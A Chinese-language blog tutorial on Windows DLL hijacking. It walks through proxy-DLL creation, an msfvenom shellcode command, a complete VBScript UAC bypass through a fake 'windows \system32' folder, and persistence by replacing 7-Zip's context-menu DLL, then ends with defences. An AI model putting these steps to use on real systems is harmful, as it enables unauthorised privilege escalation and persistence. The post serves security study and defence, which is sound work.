浅析DLL劫持与持久化

DLL 劫持简介

Windows加载DLL的规则

首先会尝试从当前程序所在的目录加载DLL,如果没找到则在Windows系统目录中查找,如果还是没有则会去环境变量中列出的各个目录下查找

DLL 劫持的目的

  • Execution

    常见的白加黑,利用可信任的(最好被微软签名过)可执行程序加载恶意 DLL

  • Persistence

    劫持目标操作系统中已预先安装并且会定期运行的软件所需加载的 DLL

  • Privilege escalation

    如果目标应用程序正以高权限运行,劫持后的恶意代码也会以相应的权限执行

DLL 劫持的方法

1. DLL replacement

用恶意的DLL替换掉合法的DLL,可以将其与 DLL Proxying 结合使用,以确保原DLL的所有功能均保持不变。

2. DLL search order hijacking

当应用程序加载DLL的时候,如果没有带指定DLL的路径,那么程序将会以特定的顺序依次在指定的路径下搜索待加载的DLL。

通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。

释放一个恶意 DLL 来代替丢失的或者不存在的 要被合法应用程序加载的DLL。

4. DLL redirection

更改DLL搜索的路径,比如通过编辑 %PATH% 环境变量或 .exe.manifest/.exe.local文件以将搜索路径定位到包含恶意DLL的地方。

5. WinSxS DLL replacement

将目标DLL相关的WinSxS文件夹中的合法的DLL替换为恶意DLL。

此方法通常也被称为 DLL side loading

6. Relative path DLL Hijacking

将合法的应用程序复制(并有选择地重命名)与恶意的DLL一起放入到用户可写的文件夹中。

在使用方法上,它与(带签名的)二进制代理执行 有相似之处。

它的一个变体是(有点矛盾地称为)“bring your own LOLbin”,其中合法的应用程序带有恶意的DLL(而不是从受害者机器上的合法位置复制)。

攻击手法复现

1. Relative path DLL Hijacking + DLL proxy loading + UAC bypass

首先我们要在系统文件夹中找到容易受到攻击的可执行文件

采用的方法可以参考:https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows

最后汇总的劫持目标罗列在 这里 ,注意,劫持目标不要带参数,最好也不要带弹窗和任何可视化元素

我选定的测试文件: EASPolicyManagerBrokerHost.exe + InprocLogger.dll

然后要创建一个代理DLL,参考这个项目: https://github.com/rek7/dll-hijacking

首先运行 parse.py 生成导出指令写入 definitions.h,原理可以参考:https://itm4n.github.io/dll-proxying/

然后修改项目内的 ./malicious_dll/dllmain.cpp 文件

原代码这里是借助 powershell 反弹 shell,这大段代码我们都删掉,先简单加个弹框试试效果(代码参考下方弹框截图)

修改好代码后使用 Visual Studio 编译生成 malicious_dll.dll

将该代理 DLL 文件复制到测试目录下重命名为 InprocLogger.dll,原文件重命名为 InprocLogger_.dll

然后尝试直接启动 EASPolicyManagerBrokerHost.exe,可以看到,成功弹框

接着我们再进一步修改代码,方便导入任意 shellcode,参考:https://gist.github.com/securitytube/c956348435cc90b8e1f7

下面以计算器弹窗为例,借助 MSF 生成 shellcode:

msfvenom -a x64 -platform windows -p windows/x64/exec cmd="calc.exe" -f raw

将 shellcode 替换进源码

然后,Bingo!

前面每次运行 EASPolicyManagerBrokerHost.exe 都需要手动授权

现在,我们尝试利用 伪造受信任目录 技术绕过 UAC 以更高权限执行 systemreset.exe 并加载恶意 DLL

简单描述下原理,用户可以通过创建文件夹c:\windows \system32\(注意路径中包含空格)来自动提升该目录内可执行文件的权限

传统方式无法创建带尾随空格的文件夹,但是我们可以通过C语言代码或者VBScript来完成这一工作

我所用到的代码如下:

Set oFSO = CreateObject("Scripting.FileSystemObject")
Set wshshell = wscript.createobject("WScript.Shell")

' Get target binary and payload
Const strBinary = "EASPolicyManagerBrokerHost.exe"
Const binaryPath = ".\EASPolicyManagerBrokerHost.exe"
Const OriginalDLL = ".\InprocLogger_.dll"
Const EvilDLL = ".\InprocLogger.dll"

' Create folders
Const target = "c:\windows \"
target_sys32 = (target & "system32\")
target_binary = (target_sys32 & strBinary)
If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If

' Copy legit binary and evil DLLs
oFSO.CopyFile binaryPath, target_binary
oFSO.CopyFile EvilDLL, target_sys32
oFSO.CopyFile OriginalDLL, target_sys32
' Run, Forrest, Run!
wshshell.Run("""" & target_binary & """")

' Clean files
' Deletion using VBScript is problematic, use PowerShell instead
command ="powershell /c ""rm -r """"\\?\" & target & """"""""
wshshell.Run command,0

脚本运行后成功绕过 UAC 并弹出计算器!

注:最新版本win10上好像行不通了,需要其他 bypass UAC 的方式代替,但是公司现在使用的操作系统版本上还存在这一漏洞

踩坑:

  1. parse.py 文件中的 dumpbin.exe 路径要替换成自己电脑中对应的文件路径

2.

parse.py 文件在windows环境运行出现编码错误时,此处替换成 “gbk"

3.

无法导出头文件时,更换目标 DLL

4. 编译和 shellcode 生成过程中架构环境记得对应

Tips:

  • 这里的 Relative path DLL Hijacking 技术可以替换成常见的白加黑

  • DLL proxy loading 不仅简化了自定义开发 DLL 的步骤,让攻击者专注于 shellcode 的设计,而且也避免了修改原始 DLL 后可能出现的程序崩溃等错误 ,而且这一技术早在几年前就被实战中用于 APT,比如“绿色版”软件,效果非常好

2. 持久化中的应用

接下来尝试将 DLL 劫持应用到持久化的方法中

这里我选择的突破口是我们日常单击右键出现的上下文菜单

以我们外网 VDI 默认安装的 7-Zip 为例,借助 Autoruns 定位到 DLL 文件

制作代理 DLL 的方式如上所述,然后将 7-zip 程序目录下的 7-zip.dll 更名为 7-zip_.dll,再将我们制作好的 malicious_dll.dll 更名为 7-zip.dll 复制过去

最后需要重启计算机,因为该DLL一旦被激活就仅被加载到内存中一次,它将继续存在于内存中,直到系统重新启动为止

重启后,对文件单击鼠标右键,win + E 打开资源管理器,或者直接使用 7-zip等操作,都会触发 payload

PS: 测试过程中 explorer.exe 崩了几次,实战中可能还需要做一定的修改

防御措施

  1. 应用程序加载 DLL 时应该使用绝对路径而不是相对路径

  2. 最好的选择是在应用程序加载所有 DLL 之前先进行验证

  3. 启动项中涉及的 DLL 也要定期做检查和校验

  4. 检测路径中带有空格的文件夹,提高 UAC 模式并设置为“总是通知”,防止 UAC bypass

最后更新于